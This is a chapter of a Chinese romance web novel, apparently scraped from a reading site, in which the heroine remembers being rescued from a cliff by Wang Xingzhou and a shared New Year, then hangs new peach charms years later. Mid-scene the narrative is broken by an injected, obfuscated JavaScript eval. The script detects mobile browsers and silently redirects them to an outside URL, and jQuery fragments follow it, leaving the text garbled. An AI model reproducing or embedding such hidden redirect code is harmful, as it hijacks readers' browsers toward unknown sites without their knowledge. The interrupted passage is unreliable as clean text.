20. 旧时风声
作品:《没在种花,在向殿下扔泥巴》 从前在老家,只有她跟祖父二人,不过买点吃食、摆摆年花,并不十分热闹。
父母去世时,姝禾还未记事,她祖父原本是宫内的长上匠,老来得子又丧子,闻讯赶回来后,整个人精气神便散了大半,第二年便求了当时颇为关照他的贵人,放他出了宫回了落枫,靠着积蓄和手艺,将她养大。
祖父本就年迈,身体不好,万家团圆之际更是神伤,自然没什么精力布置。
记得汪行舟来家后的第二年,她家的那个年是最热闹的。
本来他依旧是要回长安,但是为了一个允诺,他同意留下来陪她过年。
彼此,他们是年纪相仿的少男少女,渐渐熟稔起来。
汪行舟送了姝禾几本自己的书贴,她每日练习,字写得越发像样了,他也偶尔开起玩笑,赞她颇有“我汪氏遗风”。
“友人”李飞峦也不再回避着她,每次在姝禾惊讶的眼神里翻墙进来,又翻墙出去。
第一年除夕他回了长安。
第二年临近腊月,她便开始恹恹的,做什么都提不起精神,连粗枝大叶的飞峦都瞧出不对,哄她说,过几日去采黑山泥给她养兰。这种泥最适合养兰,但长在崖壁边,寻常人够不着,姝禾觊觎了许久,常念叨着。
听飞峦这么说,她才露出了笑脸,又忍不住在汪行舟面前夸了飞峦几句身手好。
他听着,没做声,便是有些不悦,他的不高兴,是惯常的事,冷着脸,一句话也不说,像一块沉寂的雪山。
姝禾情窦初开,满心满眼都是他,见到他的脸便高兴,哪里会嫌他脾气多?盼着日夜围在他身边转才好。她也把他的心思摸透了,也知道怎么哄,跟在他身后,他走哪她跟哪,他做什么她就在旁边杵着。
如今想来,他的那些暗卫看了都要笑出声。
直到了晚上,他才终于开口赶她,冷着脸道:“我可不会飞檐走壁,你跟着我,大晚上的遇到了贼人我可无法招架。”
她见他终于肯说话,喜滋滋凑上去:“郎君,你可算和我说话了。我这颗心呀终于放了下来。你不护着我,我护着你呀!”
她举起臂膊,因为穿着冬服,看起来鼓鼓囔囔的,有几分憨厚傻气。
行舟面色缓了下来。
她心急,趁机央求他:“那我明日,请飞峦陪我进趟山,可好?”
话音刚落,李飞峦正好翻墙进来,一个帅气的收势落地,进门揽了她的肩,张口就应:“好呀!”
行舟的目光扫过去,李飞峦脖子一缩,头又立刻低下去。
“哎呀,我忽然想起,我这几日没空来着。”
姝禾知道他怕汪行舟,但并不十分清楚二人的关系,只是觉得三人相熟,平日也常在一处,自然是朋友了,没想到为这点小事,也要看他眼色。
她又委屈又气,恨飞峦不争,一个眼神便倒戈。
“合着所有人眼里,都只是听你使唤的仆人?”
她咬着唇,丢下这句话,扭头冲出院子。
隔日,她便长了点骨气,不愿去找他,也打定主意自己去采泥。
冬日午后的日头看着暖,山里的风还是凉的,那条路她走了无数次,闭着眼都能找到野兰丛,不过是再陡些的崖壁,她想着,再不去求那张冷脸!
“一身架子的臭男人,半分骨气也没有的李飞峦!”
她一边骂,一边很快找到地方,趴在崖边往下望,中间有块窄台,窄台旁的凹洼里,泥土黑得发亮。她来过许多次,每次只敢眼巴巴看着,实在不敢下崖,今日气上心头,倒生出几分胆魄。
她将腰间的粗绳绕在树上,估摸着能顺着崖壁落在那窄台上,再抓着绳子爬上来。往下探了几步,才发现那窄台看着近,实则离崖边有五六米远。她深吸几口气,压住心慌,继续往下挪,好不容易才蹭到泥层边,日头已经渐渐落下去了,底下是黑漆漆的深渊,风从谷底往上灌,吹得人浑身发颤。
她抓紧蹲在窄台上,掏出布袋挖土,谁料一个不留心,脚下一块碎石松动,她惊呼一声,身子便猛地往下滑。慌乱中,只能死死抓住手能碰到的藤蔓、凸石……最后重重摔在崖壁中间另一块窄台上方停了,后腰撞上石头,疼得她眼泪直冒。
她试着喊了几声,呼声很快被风声吞得干干净净。
完了。
她抬头看看悬在半空的麻绳,又看看自己待的地方:离底远,离顶更远。
日头一点点沉下去,天色越来越暗,鸟雀归巢,只剩虫鸣和风声,听得人心里发慌,山里的夜来得快,黑得伸手不见五指,这时候农户猎户都不会进山。
她抱着膝盖,瑟瑟发抖,莫非要在这荒郊野岭的崖壁上熬一整夜?寒意往骨头里钻,后腰的疼越来越烈,蜷缩在窄台上,她又想起汪行舟那张冷脸,今日自己难得没去打扰他,他必定舒心了一整天。
但是这次她猜错了。
祖父遍寻她不着,本来年纪上来了身体就不好,不能贸然出来找她,便去求了汪行舟。
他竟孤身一人找了来。
循着记忆里,她提过的只言片语,有黑山泥的崖壁附近,长着很多野紫藤。
他便顺着风,顺着紫藤的气息,找到了她。
“阿雨!”
他唤她的声音在山里回荡,一声比一声急,直至传到她耳中。
往后经年,姝禾再也没有那样绝处逢生的时刻,听到一句呼唤,胸腔内便鼓满勇气。
“我在这里!”她用尽全力去应,“汪行舟!我在这里。”
“别怕,”那声音拔高了几分。
他摸着崖壁往上攀,姝禾知道,石头湿滑冰冷,碎石不断往下掉,他只能死死抠住岩石缝隙。约莫一盏茶的功夫,她才敢顺着声音的方向,小心翼翼探出头往下望。
他手中举着的火折子光虽弱,却足够令她看清下方那个熟悉的身影。
“郎君!”她哽咽出声。
“别动!”他连忙喊,“先缓缓。”
她待的那块窄台,比他攀上来的地方还要高一截,中间隔着丈许距离,徒手根本够不着。他紧了紧腰间的绳索,确认结实了,握着另一端朝上喊:“我把绳子扔上去,你试着抓住,套住凸石,慢慢往下挪,我在下面接着你!”
她蜷在窄台上,听到他的话,咬着唇点头,又想起他看不见,便闷闷地“嗯”了一声。他看准方向,手臂发力,绳子稳稳扔上来,恰好落在她面前。
她连忙抓住救命稻草。
“套好了吗?”他屏住呼吸,目光紧紧锁着她,“慢慢来,不急,我一直看着你呐。”
她点点头,忍着恐惧,一点点往窄台边缘挪,身体发颤,每挪一步都小心翼翼。
“对,就是这样,”他轻声鼓励,“往我这边靠,我能接住你。”
风从谷底往上灌,绳子轻轻晃动,她咬紧牙,顺着绳子慢慢往下滑,脚下踩空几次,惊得心都快跳出来。
终于,滑到他所在窄台上方。
他伸手,稳稳接住她,稍一用力,便将她拉进怀里。
“没事了。”
他低头看她,头发散乱,脸上沾着泥,眼眶泛红。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480508|201708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他当下有心疼她吗?
想必是有的吧。姝禾心想,不然他怎么下一秒便紧紧抱住了她,像是不再顾及周遭的一切,天地间再无别的纷扰似的,就那么把她箍在怀中。
她能真切听到他的心跳,感受到他的体温。他身上淡淡的香气,混着紫藤的气息,让她安心下来。
他低下头,嘴唇几乎贴着她耳朵,小声说:
“我来了,不怕。”
她闷在他怀里,眼泪又涌出来。
良久,他才开口警告:“以后再不许一个人进山了!”
多年后,一个人进山,反而成为她的习惯和营生。
漫步在林子里,阳光从树隙漏下来,落在肩上,斑驳一片,她闭上眼睛,深吸一口气,山野的气息灌进身体里,恍惚间又回到了十六岁。
那一年回程路上,汪行舟背着她,问她在想什么。
她还能想什么,除了养花种草,她的少女时光里,翻来覆去,无非是他的名字。
她精疲力尽地贴在他的背上,心满意足地闭着眼睛。
“想郎君和我一起过年,一起守岁,我要给郎君做糖饼,要像隔壁阿狗家一样,蒸一大盘的五辛盘,炖上一锅元阳肉,吃到十五也吃不完……”
他默默地听着,也不觉得累,听到她絮叨着吃食单子,一直絮叨到打瞌睡,才笑着说了声:“好。”
后来回想,恐怕那年他是因为受了母亲的训斥,不愿回去面对罢了,却也给了她一个最难忘怀的年节。
他们三个小辈动手学做五辛盘,惹得祖父也来了兴致,为他们亲做了许多糖瓜糖饼,飞峦嘴馋又买来许多饴糖,满屋子都是甜腻腻的香气,几个人吃的嘴都张不开。
按例,夜里守岁,祖父在院中燃起火堆,称之为“庭燎”。结果,她头一回喝椒柏酒,便喝多了,歪在屋内睡着,等醒来时,祖父歇息去了,火也早灭了,院子里黑漆漆的,她借着酒劲闹了一番,行舟和飞峦只好又为她拾柴点了一次。
从来世事不勘过。
隔年秋天,祖父病逝,再往后,便是那个雪夜,他头也不回地离开她家小院,离开了落枫,再也没有回来过。
从漫长的回忆里抽回神,姝禾恍恍惚惚,像是过了一辈子那么长。阳光还是那片阳光,如果有山风吹过来,和十六七岁那年便没什么两样。
她恍惚了一瞬,可算一算,已经是分别后的第八年。
这么发着呆,手中的糕点也渐渐吃完了。
她也便止了念头,搬出木梯,立在院门前,要亲手挂这新一年的桃符。
濯漪忙完,便走出来凑趣,倚在梯边看她忙活,见她扯着红绳系桃符,那对新符上,分用朱砂写着:
新岁开华运
人世乐长春
几个字落笔灵动,姿态轻巧。
濯漪赞道:“这些年也没怎么见你勤勉练习,怎么书艺反倒日益精进了呢?”
“这你便不懂了吧。”姝禾从梯上下来,“本人师从禁宫大师,童子功岂是儿戏?”
濯漪岂不知她来历,不由噗嗤一笑:“很好,如今倒是坦然。再不怕别人找上门来。”
姝禾拍了拍手:“找上门来,便央他亲题一对,不比朱砂桃木更辟邪。”
日头底下并无新事。
太阳照常升起照常落下,长大也不全然是坏处,她早已剥离掉那颗滚烫幼稚的心,成了事事淡然的程姝禾。
这么想着,姝禾站在日头底下,竟也觉得释怀了。
——人总是要往前走的,不然又能怎样呢。

